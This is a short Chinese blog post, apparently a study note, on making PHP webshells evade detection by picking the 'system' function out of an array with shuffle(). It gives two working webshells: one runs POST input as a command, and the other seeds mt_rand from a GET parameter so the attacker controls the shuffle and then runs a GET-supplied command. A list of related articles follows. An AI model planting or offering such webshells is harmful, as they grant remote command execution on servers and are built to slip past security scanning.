记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
王的宝库6 分钟前
【K8s】集群安全机制(二):授权(Authorization)详解与实战
学习·云原生·容器·kubernetes
ReaF_star8 分钟前
K8s Pod调度【学习笔记】
笔记·学习·kubernetes
数字供应链安全产品选型14 分钟前
AI原生安全不是“概念”是“刚需”:悬镜安全如何用灵境AIDR定义智能体安全新标准?
安全·ai-native
光路科技28 分钟前
802.1X在工业以太网中的实践:不仅是认证,更是安全体系
网络·安全
Fate_I_C41 分钟前
空安全与类型系统
安全·kotlin
数字供应链安全产品选型1 小时前
提示词注入、工具滥用、决策黑盒:灵境AIDR如何三步封堵智能体安全三大漏洞?
安全
刘~浪地球1 小时前
零信任架构设计与实现
安全·架构·安全架构
fengci.1 小时前
ctfshow其他(web408-web432)
android·开发语言·前端·学习·php
sensen_kiss1 小时前
CPT306 Principles of Computer Games Design 电脑游戏设计原理 Pt.6 Gameplay 游戏玩法
学习·游戏
殷忆枫1 小时前
AI学习笔记三十六:基于 YOLOv8 与 Qwen3.5 的多模态视频行为分析系统
笔记·学习·yolo